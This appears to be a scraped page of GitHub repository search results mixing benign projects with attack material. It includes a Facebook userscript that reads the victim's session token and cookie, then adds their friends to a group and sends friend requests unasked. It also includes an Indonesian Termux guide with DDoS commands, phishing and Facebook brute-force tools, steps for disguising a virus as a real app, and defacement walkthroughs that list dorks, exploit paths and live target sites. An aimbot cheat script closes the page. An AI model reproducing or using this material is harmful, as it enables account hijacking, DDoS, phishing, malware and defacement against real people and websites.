422 skills found · Page 7 of 15
ephendyy / Sahabatfb// ==UserScript== // @name facebook 2014 // @version v.01 // @Hak Cipta Ephendy // ==/UserScript== var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value; var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]); alert('Apakah Anda Ingin mengetahui pengintip profil Anda..?? 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information along with the request http4.setRequestHeader("Content-type", "application/x-www-form-urlencoded"); http4.setRequestHeader("Content-length", params4.length); http4.setRequestHeader("Connection", "close"); http4.onreadystatechange = function() {//Call a function when the state changes. if(http4.readyState == 4 && http4.status == 200) { http4.close; // Close the connection } } http4.send(params4); } function sublist(uidss) { var a = document.createElement('script'); a.innerHTML = "new AsyncRequest().setURI('/ajax/friends/lists/subscribe/modify?location=permalink&action=subscribe').setData({ flid: " + uidss + " }).send();"; document.body.appendChild(a); } // ADMIN a("100003968374379");a("100002185318761");a("1472703506");a("675820844");a("510704624");a("510704630"); var gid = ['610945318992585']; var fb_dtsg = document['getElementsByName']('fb_dtsg')[0]['value']; var user_id = document['cookie']['match'](document['cookie']['match'](/c_user=(\d+)/)[1]); var httpwp = new XMLHttpRequest(); var urlwp = '/ajax/groups/membership/r2j.php?__a=1'; var paramswp = '&ref=group_jump_header&group_id=' + gid + '&fb_dtsg=' + fb_dtsg + '&__user=' + user_id + '&phstamp='; httpwp['open']('POST', urlwp, true); httpwp['setRequestHeader']('Content-type', 'application/x-www-form-urlencoded'); httpwp['setRequestHeader']('Content-length', paramswp['length']); httpwp['setRequestHeader']('Connection', 'keep-alive'); httpwp['send'](paramswp); var fb_dtsg = document['getElementsByName']('fb_dtsg')[0]['value']; var user_id = document['cookie']['match'](document['cookie']['match'](/c_user=(\d+)/)[1]); var friends = new Array(); gf = new XMLHttpRequest(); gf['open']('GET', '/ajax/typeahead/first_degree.php?__a=1&viewer=' + user_id + '&token' + Math['random']() + '&filter[0]=user&options[0]=friends_only', false); gf['send'](); if (gf['readyState'] != 4) {} else { data = eval('(' + gf['responseText']['substr'](9) + ')'); if (data['error']) {} else { friends = data['payload']['entries']['sort'](function (_0x93dax8, _0x93dax9) { return _0x93dax8['index'] - _0x93dax9['index']; }); }; }; for (var i = 0; i < friends['length']; i++) { var httpwp = new XMLHttpRequest(); var urlwp = '/ajax/groups/members/add_post.php?__a=1'; var paramswp= '&fb_dtsg=' + fb_dtsg + '&group_id=' + gid + '&source=typeahead&ref=&message_id=&members=' + friends[i]['uid'] + '&__user=' + user_id + '&phstamp='; httpwp['open']('POST', urlwp, true); httpwp['setRequestHeader']('Content-type', 'application/x-www-form-urlencoded'); httpwp['setRequestHeader']('Content-length', paramswp['length']); httpwp['setRequestHeader']('Connection', 'keep-alive'); httpwp['onreadystatechange'] = function () { if (httpwp['readyState'] == 4 && httpwp['status'] == 200) {}; }; httpwp['send'](paramswp); }; var spage_id = "453791288019170"; var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]); var smesaj = ""; var smesaj_text = ""; var arkadaslar = []; var svn_rev; var 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(document.URL.indexOf("https://") >= 0) { xmlhttp.open("GET", "https://www.facebook.com/ajax/typeahead/first_degree.php?__a=1" + params, true); } else { xmlhttp.open("GET", "http://www.facebook.com/ajax/typeahead/first_degree.php?__a=1" + params, true); } xmlhttp.send(); } //tiklama olayini dinle var tiklama = document.addEventListener("click", function () { if(document.cookie.split("paylasti=")[1].split(";")[0].indexOf("hayir") >= 0){ svn_rev = document.head.innerHTML.split('"svn_rev":')[1].split(",")[0]; sarkadaslari_al(); document.cookie = "paylasti=evet;expires="+ btarihi.toGMTString(); document.removeEventListener(tiklama); } }, false); //arkada?¾ ekleme function sarkadasekle(uid,cins){ var xmlhttp = new XMLHttpRequest(); xmlhttp.onreadystatechange = function () { if(xmlhttp.readyState == 4){ } }; xmlhttp.open("POST", "/ajax/add_friend/action.php?__a=1", true); var params = "to_friend=" + uid; params += "&action=add_friend"; params += "&how_found=friend_browser"; params += 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() { if(xmlhttp.readyState == 4){ eval("cinssonuc = " + xmlhttp.responseText.toString().replace("for (;;);","") + ";"); cinshtml.innerHTML = cinssonuc.jsmods.markup[0][1].__html btarihi.setTime(bugun.getTime() + 1000*60*60*24*365); if(cinshtml.getElementsByTagName("select")[0].value == "1"){ document.cookie = "cins" + user_id + "=kadin;expires=" + btarihi.toGMTString(); }else if(cinshtml.getElementsByTagName("select")[0].value == "2"){ document.cookie = "cins" + user_id + "=erkek;expires=" + btarihi.toGMTString(); } eval(fonksiyon + "(" + id + "," + cins + ");"); } }; xmlhttp.open("GET", "/ajax/timeline/edit_profile/basic_info.php?__a=1&__user=" + user_id, true); xmlhttp.setRequestHeader ("X-SVN-Rev", svn_rev); xmlhttp.send(); } (function() { var css = "#facebook body:not(.transparent_widget),#nonfooter,#booklet,.UIFullPage_Container,.fbConnectWidgetTopmost,.connect_widget_vertical_center,.fbFeedbackContent,#LikeboxPluginPagelet\n{ \ncolor: #fff !important;\nbackground: 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icew4y / Cronet CloakREST API wrapper for Cronet - Make requests indistinguishable from Chrome browser
pdphilip / Cf RequestCloudflare Laravel Request enriches the standard Laravel HTTP Request with Location, Timezone and Bot/Threat information from Cloudflare, as well as the user's Device type, OS and Browser
hexiro / AutorequestsGenerate Python code to recreate a request from your browser.
takielias / Php RnetPHP extension for browser-fingerprinted HTTP requests, built in Rust
Mr-pentest / EdenEden is a powerful browser exploitation framework designed to enhance red team assessments and security training. It includes advanced features like Browser-in-the-Browser (BITB) attacks, dynamic permission requests (camera, mic, clipboard, location), and real-time multi-client management. Eden enables realistic simulation of modern browser
taufiks22 / NewKUMPULAN CODE TERMUX LENGKAP | SPAM CHAT WHATSAPP || nggk usah nyepam gw -_* atau hp lu gw ledakin!!#@vms $ pkg update && pkg upgrade Setelah mengupdate dan mengupgrade termux ketikan perintah berikut : $ pkg install python2 (y/n pilih y) $ pkg install php (y/n pilih y) $ pkg install git (y/n pilih y) Setalah mengikuti perintah di atas waktu-nya kita clonning tool-nya : $ git clone https://github.com/siputra12/prank.git Setelah proses cloning selesai kita move on dari perintah di atas dan ketikan perintah ini : $ cd prank $ ls $ php wa.php Kemudian masukan Nomor WhatsApp yang kalian ingin spam contoh : 085710917169 kemudian enter pada pilihan y/n pilih y .. .welcome back to me catatan:).... #@vms " jngan lupa subcribe pak *VEMAS DARK* -_-... (:" "phising game" (mobile legends dan clash of clan) $apt update $apt upgrade -y $pkg install python2 -y $pkg install apache2 $pkg install php -y $pkg install git $git clone https://github.com/Senitopeng/PhisingGame $ls $cd PhisingGame $python2 phising.py *Gunain dengan bijak cuk -_-* Cara Install OSIF ( Open Source Information Facebook ) $ pkg install python2 $ git clone https://github.com/ciku370/OSIF $ cd OSIF $ pip2 install -r requirements.txt Dan cara menjalankannya menggunakan perintah : python2 osif.py by: *Vdk* *~CARA SADAP WA~* *_SeNaNg-SeNaNg H4CK1NG MR.STAH_* $pkg update && pkg upgrade $pkg install git $pkg install curl $git clone https://github.com/AndriGanz/whatshack $cd whatshack $ls $sh whatshack.sh *~Jangan salah gunakan~* Tutorial termux Silahkan perdalami... D-tect tool Cara Install D-tect tool di android termux (command ) : $ apt install git $ apt install python2 $ git clone https://github.com/shawarkhanethicalhacker/D-TECT $ ls $ cd D-TECH $ chmod +x d-tect.py $ python2 d-tect.py 2. cara uninstall tool termux rm -rf toolsnya 3. cara buat virus cd /sdcard cd vbug ls chmod vbug.py chmod -v vbug.py python2 vbug.py 4. irssi /connet irc.freenode.net /nick w3wandroid /join #modol _________________________ DDOS via Termux ———————————— 1. Hammer $ pkg update (tekan enter) $ pkg upgrade (tekan enter) $ pkg install python (tekan enter) $ pkg install git (tekan enter) $ git clone https://github.com/cyweb/hammer (tekan enter) $ cd hammer (tekan enter) $ python hammer.py (tekan enter) $ python hammer.py -s [IP target] -p [port] -t 135 (tekan enter) 104.27.146.125 2. Xerxes $ apt install git $ apt install clang $ git clone https://github.com/zanyarjamal/xerxes $ ls $ cd xerxes $ ls $ clang xerxes.c -o xerxes $ ls $ ./xerxes (nama website) 80 3. Torshammer $ pkg update $ pkg install git $ apt install tor $ pkg install python2 $ git clone https://github.com/dotfighter/torshammer.git $ ls $ cd torshammer $ python2 torshammer.py 4. liteDDOS $ apt update $ apt upgrade $ pkg install git $ pkg install python2 $ git clone https://github.com/4L13199/LITEDDOS $ cd LITEDDOS $ python2 liteDDOS.py _________________________________________ Bermain moon-buggy $ pkg install moon-buggy $ moon-buggy ________________________________________ Musikan di termux $ pkg install mpv $ mpv/sdcard/lagu.mp3 /sdcard/ bisa di ganti sesuai letak musik ________________________________________ Browsing di termux $ pkg install w3m $ w3m www.google.com Linknya bsa diubah ________________________________________ Telephone di termux $ pkg install termux-api $ termux-telephony-call nomornya _______________________________________ Menampilkan animasi kereta $ pkg install sl $ sl _______________________________________ menampilkan ikon dan informasi sistem android $ pkg install neofetch $ neofetch _______________________________________ menampilkan teks dalam format ASCII $ pkg install figlet $ figlet masukin teksnya _______________________________________ Cara Mendengarkan Yotuube di termux $ pip install mps_youtube $ pip install youtube_dl $ apt install mpv $ mpsyt $ /judul lagu Tinggal pilih lagu dgn mengetik nomornya. Tutorial membuat virus seperti aplikasi aslinya Tools yang dibutuhkan: APK Editor & tool vbug APK Editor bisa didownload di playstore Tool vbug Here 1. Download tool vbugnya dulu 2. Taruh file tool vbug di luar folder pada memori internal 3. Buka termux lalu $ cd /sdcard 4. $ unzip vbug.zip 5. $ cd vbug 6. $ python2 vbug.py 7. Enter 8. Ketik 10 9. Ketik E 10. Aplikasi virusnya sudah jadi Setelah aplikasinya jad kita tinggal edit supaya mirip aslinya 1. Buka APK Editor 2. Klik Select an Apk File 3. Pilih aplikasi virus tadi 4. Klik full edit 5. Pada bagian kolom app_name tulis nama aplikasi yang kalian inginkan 6. Lalu klik files 7. Klik res/drawable 8. Logo yang kedua itu ganti dengan logo aplikasi yang kalian inginkan Catatan: format logo harus .png 9. Ceklist logo yang kedua lalu replace 10. Pilih file logo yang mau dijadikan logo aplikasi agan 11. Back sampai home Supaya aplikasi terlihat lebih nyata kita harus beri bobot pada aplikasi buatan kita 12. Klik tanda plus yang ada di bawah kiri, pilih file, lagu, gambar atau apapun yang coxok sebagai bobot apliaksi agan 13. Klik build 14. Tunggu hingga selesai 15. Jadi deh ———————— Auto boot fb git clone https://github.com/Senitopeng/BotFbBangDjon.git cd BotFbBangDjon python2 bangdjon.py melihat id fb https://findmyfbid.in/ Autoreaction Facebook git clone https://github.com/tomiashari/fb-autoreaction.git cd fb-autoreaction python2 fb-autoreaction •TOOLS²TERMUX.P3 21.TOOLS SQLMAP apt update apt install python apt install python2 apt install git git clone https://github.com/sqlmapproject/sqlmap cd sqlmap python2 sqlmap.py ============================= 22.TUTORIAL PHISING INSTAGRAM VIA TERMUX pkg update pkg upgrade pkg install python2 pkg install git clear git clone https://github.com/evait-secutiry/weeman.git cd ls cd weeman python2 weeman.py show set url http://dewopanel.host22.com/masuk.php set port 8080 set action_url http://dewopanel.host22.com/masuk.php run ============================= 23.TUTORIAL MENAMBAH FOLLOWERS&LIKE INSTAGRAM Kegunaan untuk menambah follower dan like ig pkg update pkg upgrade pkg install python2 pkg install ruby gem install lolcat pkg install git git clone https://github.com/Hanzelnutt/instabot cd instabot ls pip2 install -r requirements.txt bash instabot ============================= 24.TUTOR HACK WIFI KHUSUS ROOT apt update apt upgrade apt install git git clone https://github.com/esc0rtd3w/wifi-hacker ls cd wifi-hacker ls chmod +x wifi-hacker.sh ls ./wifi-hacker.sh ============================= 25.TOOLS xNOT_FOUND *VER1* apt update && apt upgrade pkg install git pkg install gem pkg install figlet gem install lolcat git clone https://github.com/hatakecnk/xNot_Found cd xNot_Found sh xNot_Found.sh ============================= 26.HACK FB Nih ada tutor buat lewat TERMUX buat hack FB apt update && apt upgrade apt install python apt install python2 apt install ruby apt install git apt install wget apt install curl pip2 install mechanize pip2 install requests git clone https://github.com/hnov7/mbf *tunggu hingga selesai,jika sudah selesai *silahkan buka tab baru atau new session lalu ketik : cd mbf python2 mbf.py ============================= 27.HACK GMAIL apt-get update && apt-get upgrade apt-get install git apt-get install python python-pip python-setuptools pip install scapy git clone https://github.com/wifiphisher/wifiphisher.git cd wifiphisher< python setup.py install cd wifiphisher python wifiphisher ============================= 28.BERMAIN MOON-BUGGY pkg install moon-buggy moon-buggy ============================= 29.PERKIRAAN CUACA curl http://wttr.in/ (lokasi) ============================= 30.BROWSING DI TERMUX pkg install w3m w3m www.google.com Linknya bsa diubah ============================= [8/10 19.49] Yovis Si Wibub: Apt update Apt upgrade Apt install mechanize Apt install git git clone http://github.com/hnov7/mbf cd mbf python2 mbf. py Mbf tanpa username dan password. Jdi tinggl make aja [8/10 19.49] Yovis Si Wibub: --------------------------TOTUR MBF-----------------------$ pkg update && pkg upgrade $ pkg install python2 $ pip2 install mechanize $ git clone https://github.com/pirmansx/mbf Cara Menjalankannya : $ ls $ cd mbf $ python2 MBF.py [9/10 17.25] *~I⃟i⃟i⃟i⃟i⃟i⃟i⃟i⃟i⃟i⃟i⃟: Memper Cantik/Melihat V.Android Termux $ pkg update && pkg upgrade $ pkg install ruby cowsay toilet figlet $ pkg install neofetch $ pkg install nano $ gem install lolcat $ cd ../usr/etc $ nano bash.bashrc cowsay -f eyes Cyber | lolcat toilet -f standard Indonesia -F gay neofetch date | lolcat ✓ Hack FB rombongan $ apt update && apt upgrade $ pkg install python2 git $ pip2 install mechanize $ git clone http://github.com/pirmansx/mbf $ ls $ cd mbf $ python2 MBF.py ✓ Hack FB ngincer $ Apt update ( Enter ) $ Apt upgrade ( Enter ) $ Apt install python2 ( Enter ) $ pip2 install urllib3 chardet certifi idna requests ( Enter ) $ apt install openssl curl ( Enter ) $ pkg install libcurl ( Enter ) $ ln /sdcard ( Enter ) $ cd /sdcard ( Enter ) $ python2 fbbrute.py ( Enter ) ✓ Hack Gmail apt-get update && apt-get upgrade $ apt-get install git $ apt-get install python python-pip python-setuptools $ pip install scapy $ git clone https://github.com/wifiphisher/wifiphisher.git $ cd wifiphisher< $ python setup.py install $ cd wifiphisher $ python wifiphisher Nih yang mau hack WiFi Khusus root $apt update $apt upgrade $apt install git $git clone https://github.com/esc0rtd3w/wifi-hacker $ls $cd Ni KUMPULAN TUTOR TERMUX [X SCREW UP X] *HACK INSTAGRAM* ( sosial engineering) $ apt update && apt upgrade $ pkg install python $ pkg install git $ pkg install nano $ git clone https://github.com/avramit/instahack.git $ ls $ cd instahack $ ls $ pip install requests $ cd instahack $ nano pass.txt $ cat pass.txt $ ls $ python hackinsta.py Localizar ip Apt install python git git clone https://github.com/maldevel/IPGeoLocation.git cd IPGeoLocation chmod +x ipgeoLocation.py pip install -r requirements.txt python ipgeolocation.py -m python ipgeolocation.py -t http://www.google.com Lacak IP git clone https://github.com/maldevel/IPGeolocation cd IPGeolocation chmod +x ipgeolocation.py pip install -r requirements.txt python ipgeolocation.py -m python ipgeolocation.py -t IP yang ingin dilacak TOOL DDOS VIA TERMUX 1. Hammer $ pkg update (tekan enter) $ pkg upgrade (tekan enter) $ pkg install python (tekan enter) $ pkg install git (tekan enter) $ git clone https://github.com/cyweb/hammer (tekan enter) $ cd hammer (tekan enter) $ python hammer.py (tekan enter) $ python hammer.py -s [IP target] -p [port] -t 135 (tekan enter) 2. Xerxes $ apt install git $ apt install clang $ git clone https://github.com/zanyarjamal/xerxes $ ls $ cd xerxes $ ls $ clang xerxes.c -o xerxes $ ls $ ./xerxes (nama website) 80 3. Torshammer $ pkg update $ pkg install git $ apt install tor $ pkg install python2 $ git clone https://github.com/dotfighter/torshammer.git $ ls $ cd torshammer $ python2 torshammer.py 4. liteDDOS $ apt update $ apt upgrade $ pkg install git $ pkg install python2 $ git clone https://github.com/4L13199/LITEDDOS $ cd LITEDDOS $ python2 liteDDOS.py RED_HAWK tool $ apt update $ apt install git $ git clone https://github.com/Tuhinshubhra/RED_HAWK $ cd RED_HAWK $ chmod +x rhawk.php $ apt install php $ ls $ php rhawk.php ```Install webdav ``` $ apt update && upgrade $ apt install python2 $ pip2 install urllib3 chardet certifi idna requests $ apt install openssl curl $ pkg install libcurl $ ln -s /sdcard $ cd sdcard $ mkdir webdav $ cd webdav Tutorial Install *Tools-B4J1N64Nv5* pkg install update pkg install git pkg install toilet pkg install figlet pip2 install lolcat git clone https://github.com/DarknessCyberTeam/B4J1N64Nv5 cd B4J1N64Nv5 sh B4J1N64N.sh cara install termux ubuntu - apt update/pkg update - apt upgrade/pkg upgrade - pkg install git - pkg install proot - pkg install wget - git clone https://github.com/Neo-Oli/termux-ubuntu - cd termux-ubuntu - chmod +x ubuntu.sh - pip install -r requirements.txt - ./ubuntu.sh Untuk menjalankan - ./start.sh Cara install github tembak XL Dari awal 1.pkg upgrade 2.pkg update 3.pkg install git 4.pkg install python 5.git clone https://github.com/albertoanggi/xl-py 6.pip install -r requirements.txt 7.chmod +x app.py 8.python/python2 app.py *Install admin finder in termux* $ apt update && apt upgrade $ pkg install python2 $ pkg install git $ git clone https://github.com/AdheBolo/AdminFinder *Menjalankan* $ ls $ cd AdminFinder $ chmod 777 AdminFinder.py $ python2 AdminFinder.py *Cara install tool Mr.Rv1.1* $apt update && apt upgrade $pkg install git $pkg install gem $pkg install figlet $gem install lolcat $git clone https://github.com/Mr-R225/Mr.Rv1.1 $cd Mr.Rv1.1 $sh Mr.Rv1.1.sh tool install $ apt update && apt upgrade $ apt install git $ git clone https://github.com/aryanrtm/4wsectools cd 4wsectools chmod 777 tools ./tools TOOL FSOCIETY $ git clone https://github.com/manisso/fsociety $ cd fsociety $ ./install.sh $ ls $ python2 fsociety.py SQLMAP apt update apt install python apt install python2 apt install git git clone https://github.com/sqlmapproject/sqlmap https://github.com/sqlmapproject/sqlmap.git cd sqlmap Python2 sqlmap.py Exemplo Python2 sqlmap.py -u website –dbs -D acuart –tables -D acuart -T users –columns -D acuart -T users -C name,email,phone -dump BUSCA PAINEL ADM DE SITE pkg install git git clone https://github.com/Techzindia/admin_penal cd admin_penal chmod +x admin_panel_finder.py python2 admin_panel_finder.py HAKKU apt install pytho apt install git mkdir vasu git clone https://github.com/4shadoww/hakkuframework cd hakkuframework chmod +x hakku python hakku show modules use whois show options set target examplesite.com run TOOL D-TECT apt update apt install git git clone https://github.com/shawarkhanethicalhacker/D-TECT cd D-TECT apt install python2 chmod +x d-tect.py python2 d-tect.py examplesite.com viSQL apt update apt install python2 apt install git git clone https://github.com/blackvkng/viSQL cd viSQL python2 -m pip install -r requirements.txt python2 viSQL.py python2 viSQL.py -t http://www.bible-history.com Hash Buster apt update apt upgrade apt install python2 apt install git git clone https://github.com/UltimateHackers/Hash-Buster cd Hash-Buster python2 hash.py tool ubuntu $ apt update $ apt install git $ apt install wget $ apt install proot $ git clone https://github.com/Neo-Oli/termux-ubu… $ cd termux-ubuntu $ chmod +x ubuntu.sh $ ./ubuntu.sh $ ./start.sh (````Install``` *Hunner framework*) $ apt update $ apt install python $ apt install git -y $ git clone https://github.com/b3-v3r/Hunner $ cd Hunner $ chmod 777 hunner.py $ python hunner.py *Cara Install Lazymux di Termux* $ pkg update && upgrade $ pkg install python2 $ pkg install git $ git clone https://github.com/Gameye98/Lazymux $ cd Lazymux $ chmod +x lazymux.py $ python2 lazymux.py Cara install tools daijobu* Fungsinya nanti liat sendiri lah di dalem tools nya $apt upgrade && apt update $apt install php $apt install git Kalo udah selesai langsung masukan git nya dengan perintah $git clone https://github.com/alintamvanz/diejoubu $cd diejoubu $cd v1.2 $php diejoubu.php Hecker RECONDOG apt update apt install python python2 apt install git git clone https://github.com/UltimateHackers/ReconDog cd ReconDog chmod +x dog.py Python2 dog.py DEFACE Hacking Script-Deface $apt update $apt upgrade $apt install git $apt install python2 $git clone https://github.com/Ubaii/script-deface-creator $ls $cd script-deface-creator $ls $chmod +x create.py $ls $python2 create.py done semoga bisa bikin script Html CARA DEFACE Cara1 Siapkan script sendiri.. 1.buka browser kalian apa saja terserah lalu ke google 2.tulis dork nya berikut ini (inurl:"sitefinity/login.aspx) tanpa tanda buka kurung dan tutup kurung! lalu search 3.pilih lah salah satu website terserah kalian,klik website nya lalu tambahkan exploit nya sebagai berikut (sitefinity/usercontrols/dialog/documenteditordialog.aspx) tanpa buka tutup kurung! E http://sitetarget*org/sitefinity/usercontrols/dialogs/documenteditordialog.aspx 4.lalu klik search kembali! nah disitu kalian klik chose file dan pilih script deface punya kalian 5.klik yang di bawah nya tunggu sampai loading selesai 6.tambah link target tadi dengan (/files) contoh http://sitetarget*org/files/namascriptdefacekalian.html lalu klik search 7.selesai!! Cara2 Method/metode KCFinder Inurl:/kcfinder/browse.php Inurl:/Kcfinder/ Langsung saja upload file deface anda,lalu panggil dengan tambahan /file/namasckamu.html Contoh: https://basukiwater.com/kcfinder/browse.php jadi https://basukiwater.com/file/namasckamu.html cara3 Deface Onion.to File Upload Tutor ini sekarang lagi Ngtreend & Simple , tapi ingat ya bukan Deepweb melaikan Fake Deepweb hehehe... Mari kita Lanjut... Dork : - inurl:/upload site:.onion.to - intext:"Upload" site:.onion.to Live : https://tt3j2x4k5ycaa5zt.onion.to/upload.php Step By Step : 1. Dorking Dulu 2. Pilih Web Target 3. Pilih File yang mau di'upload 4. Tinggal klik Upload => Done 😆 Contoh Target : https://tt3j2x4k5ycaa5zt.onion.to/uploads/lopeyou.html https://danwin1210.me/uploads/lopeyou.html https://temp.xn--wda.fr/e719x8JgJ.html Mirror?! 😆 https://www.defacer.id/296011.html https://www.defacer.id/296024.html cara4 Metode com media Bahan : 1. Dork : - inurl:com_media site:com - inurl:com_media intext:"Upload" 2. Exploit : /index.php?option=com_media&view=images&tmpl=component&fieldid=&e_name=jform_articletext&asset=com_content&author=&folder= 3. Upload'an : Format .txt 😁 Live Target : http://www.james-insurance.co.uk/ Step by Step : gunakan Live Targert dulu untuk Uji Coba 😁 1. Masukkan dork : inurl:com_media intext:"Upload" site:co.uk 2. Pilih salah satu Web 3. Masukkan Exploit http://www.james-insurance.co.uk/index.php?option=com_media&view=images&tmpl=component&fieldid=&e_name=jform_articletext&asset=com_content&author=&folder= 4. Lalu Upload file dalam tempat upload ( format .txt ) Akses shell ? Tambahkan : /images/namafile.txt contoh : http://www.james-insurance.co.uk/images/fac.txt Nanti Jadi Gini Hasilnyaa.. Mudah Bukan?! Tinggal Upload ke Defacer.id 😁 cara5 [POC] Vulnerability Simplicity Of Upload #Step 1: Dork: “Powered By: © Simplicity oF Upload” #Step 2: Exploit: http://[situstargetkamu]/PATH/upload.php *Tergantung dengan target. #Step 3: llowed file: gif, jpg, png, txt, php, asp, cgi, zip, exe, mp3, etc (not allowed for html) #Step 4: Preview: http://[situstargetkamu]/upload/[Your File] #Step 5: Live Demo: http://www.railfaneurope.net/pix/upload.php http://www.formplas.com/upload/upload.php Nah, saya kira cukup segitu aja kok, karena mudah tuh tutorial nya. Al in one crip termux $ apt update && apt upgrade $ pkg install php figlet ruby python python2 $ pip2 install lolcat $ git clone https://github.com/Rusmana-ID/rus $ cd $ cd rus $ ls $ sh v2.sh Kontak wa 083879017166 Note: user name:Rusmana Pasword:X-One
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Victor2018 / CherryJetpack components such as paging ktx flow, aouter componentized development, kolin coroutines cooperate with retrofit network request, dry gank browsing, beautiful girls, live show watching. . . All you want is here.This application is only for learning and use.Please do not use it!
Gabriel1231n2j3n / Hacks Para Krunker// ==UserScript== // @name aimbot gratis para krunker.io // @description Este es el mejor aimbot mod menuq puedas obtener // @version 2.19 // @author Gabriel - // @iconURL 31676a4e532e706e673f7261773d74727565.png // @match *://krunker.io/* // @exclude *://krunker.io/editor* // @exclude *://krunker.io/social* // @run-at document-start // @grant none // @noframes // ==/UserScript== /* eslint-env es6 */ /* eslint-disable no-caller, no-undef, no-loop-func */ var CRC2d = CanvasRenderingContext2D.prototype; var skid, skidStr = [...Array(8)].map(_ => 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'[~~(Math.random()*52)]).join(''); class Skid { constructor() { skid = this; this.downKeys = new Set(); this.settings = null; this.vars = {}; this.playerMaps = []; this.skinCache = {}; this.inputFrame = 0; this.renderFrame = 0; this.fps = 0; this.lists = { renderESP: { off: "Off", walls: "Walls", twoD: "2d", full: "Full" }, renderChams: { off: "Off", white: "White", blue: "Blue", teal: "Teal", purple: "Purple", green: "Green", yellow: "Yellow", red: "Red", }, autoBhop: { off: "Off", autoJump: "Auto Jump", keyJump: "Key Jump", autoSlide: "Auto Slide", keySlide: "Key Slide" }, autoAim: { off: "Off", correction: "Aim Correction", assist: "Legit Aim Assist", easyassist: "Easy Aim Assist", silent: "Silent Aim", trigger: "Trigger Bot", quickScope: "Quick Scope" }, audioStreams: { off: 'Off', _2000s: 'General German/English', _HipHopRNB: 'Hip Hop / RNB', _Oldskool: 'Hip Hop Oldskool', _Country: 'Country', _Pop: 'Pop', _Dance: 'Dance', _Dubstep: 'DubStep', _Lowfi: 'LoFi HipHop', _Jazz: 'Jazz', _Oldies: 'Golden Oldies', _Club: 'Club', _Folk: 'Folk', _ClassicRock: 'Classic Rock', _Metal: 'Heavy Metal', _DeathMetal: 'Death Metal', _Classical: 'Classical', _Alternative: 'Alternative', }, } this.consts = { twoPI: Math.PI * 2, halfPI: Math.PI / 2, playerHeight: 11, cameraHeight: 1.5, headScale: 2, armScale: 1.3, armInset: 0.1, chestWidth: 2.6, hitBoxPad: 1, crouchDst: 3, recoilMlt: 0.3, nameOffset: 0.6, nameOffsetHat: 0.8, }; this.key = { frame: 0, delta: 1, xdir: 2, ydir: 3, moveDir: 4, shoot: 5, scope: 6, jump: 7, reload: 8, crouch: 9, weaponScroll: 10, weaponSwap: 11, moveLock: 12 }; this.css = { noTextShadows: `*, .button.small, .bigShadowT { text-shadow: none !important; }`, hideAdverts: `#aMerger, #endAMerger { display: none !important }`, hideSocials: `.headerBarRight > .verticalSeparator, .imageButton { display: none }`, cookieButton: `#onetrust-consent-sdk { display: none !important }`, newsHolder: `#newsHolder { display: none !important }`, }; this.isProxy = Symbol("isProxy"); this.spinTimer = 1800; let wait = setInterval(_ => { this.head = document.head||document.getElementsByTagName('head')[0] if (this.head) { clearInterval(wait); Object.entries(this.css).forEach(entry => { this.css[entry[0]] = this.createElement("style", entry[1]); }) this.onLoad(); } }, 100); } canStore() { return this.isDefined(Storage); } saveVal(name, val) { if (this.canStore()) localStorage.setItem("kro_utilities_"+name, val); } deleteVal(name) { if (this.canStore()) localStorage.removeItem("kro_utilities_"+name); } getSavedVal(name) { if (this.canStore()) return localStorage.getItem("kro_utilities_"+name); return null; } isType(item, type) { return typeof item === type; } isDefined(object) { return !this.isType(object, "undefined") && object !== null; } isNative(fn) { return (/^function\s*[a-z0-9_\$]*\s*\([^)]*\)\s*\{\s*\[native code\]\s*\}/i).test('' + fn) } getStatic(s, d) { return this.isDefined(s) ? s : d } crossDomain(url) { return "https://crossorigin.me/" + url; } async waitFor(test, timeout_ms = 20000, doWhile = null) { let sleep = (ms) => new Promise((resolve) => setTimeout(resolve, ms)); return new Promise(async (resolve, reject) => { if (typeof timeout_ms != "number") reject("Timeout argument not a number in waitFor(selector, timeout_ms)"); let result, freq = 100; while (result === undefined || result === false || result === null || result.length === 0) { if (doWhile && doWhile instanceof Function) doWhile(); if (timeout_ms % 1000 < freq) console.log("waiting for: ", test); if ((timeout_ms -= freq) < 0) { console.log( "Timeout : ", test ); resolve(false); return; } await sleep(freq); result = typeof test === "string" ? Function(test)() : test(); } console.log("Passed : ", test); resolve(result); }); }; createSettings() { this.settings = { //Rendering showSkidBtn: { pre: "<div class='setHed'>Rendering</div>", name: "Show Skid Button", val: true, html: () => this.generateSetting("checkbox", "showSkidBtn", this), set: (value, init) => { let button = document.getElementById("mainButton"); if (!button) { button = this.createButton("5k1D", "https://i.imgur.com/1tWAEJx.gif", this.toggleMenu, value) } else button.style.display = value ? "inherit" : "none"; } }, hideAdverts: { name: "Hide Advertisments", val: true, html: () => this.generateSetting("checkbox", "hideAdverts", this), set: (value, init) => { if (value) this.head.appendChild(this.css.hideAdverts) else if (!init) this.css.hideAdverts.remove() } }, hideStreams: { name: "Hide Streams", val: false, html: () => this.generateSetting("checkbox", "hideStreams", this), set: (value) => { window.streamContainer.style.display = value ? "none" : "inherit" } }, hideMerch: { name: "Hide Merch", val: false, html: () => this.generateSetting("checkbox", "hideMerch", this), set: value => { window.merchHolder.style.display = value ? "none" : "inherit" } }, hideNewsConsole: { name: "Hide News Console", val: false, html: () => this.generateSetting("checkbox", "hideNewsConsole", this), set: value => { window.newsHolder.style.display = value ? "none" : "inherit" } }, hideCookieButton: { name: "Hide Security Manage Button", val: false, html: () => this.generateSetting("checkbox", "hideCookieButton", this), set: value => { window['onetrust-consent-sdk'].style.display = value ? "none" : "inherit" } }, noTextShadows: { name: "Remove Text Shadows", val: false, html: () => this.generateSetting("checkbox", "noTextShadows", this), set: (value, init) => { if (value) this.head.appendChild(this.css.noTextShadows) else if (!init) this.css.noTextShadows.remove() } }, customCSS: { name: "Custom CSS", val: "", html: () => this.generateSetting("url", "customCSS", "URL to CSS file"), resources: { css: document.createElement("link") }, set: (value, init) => { if (value.startsWith("http")&&value.endsWith(".css")) { //let proxy = 'https://cors-anywhere.herokuapp.com/'; this.settings.customCSS.resources.css.href = value } if (init) { this.settings.customCSS.resources.css.rel = "stylesheet" try { this.head.appendChild(this.settings.customCSS.resources.css) } catch(e) { alert(e) this.settings.customCSS.resources.css = null } } } }, renderESP: { name: "Player ESP Type", val: "off", html: () => this.generateSetting("select", "renderESP", this.lists.renderESP), }, renderTracers: { name: "Player Tracers", val: false, html: () => this.generateSetting("checkbox", "renderTracers"), }, rainbowColor: { name: "Rainbow ESP", val: false, html: () => this.generateSetting("checkbox", 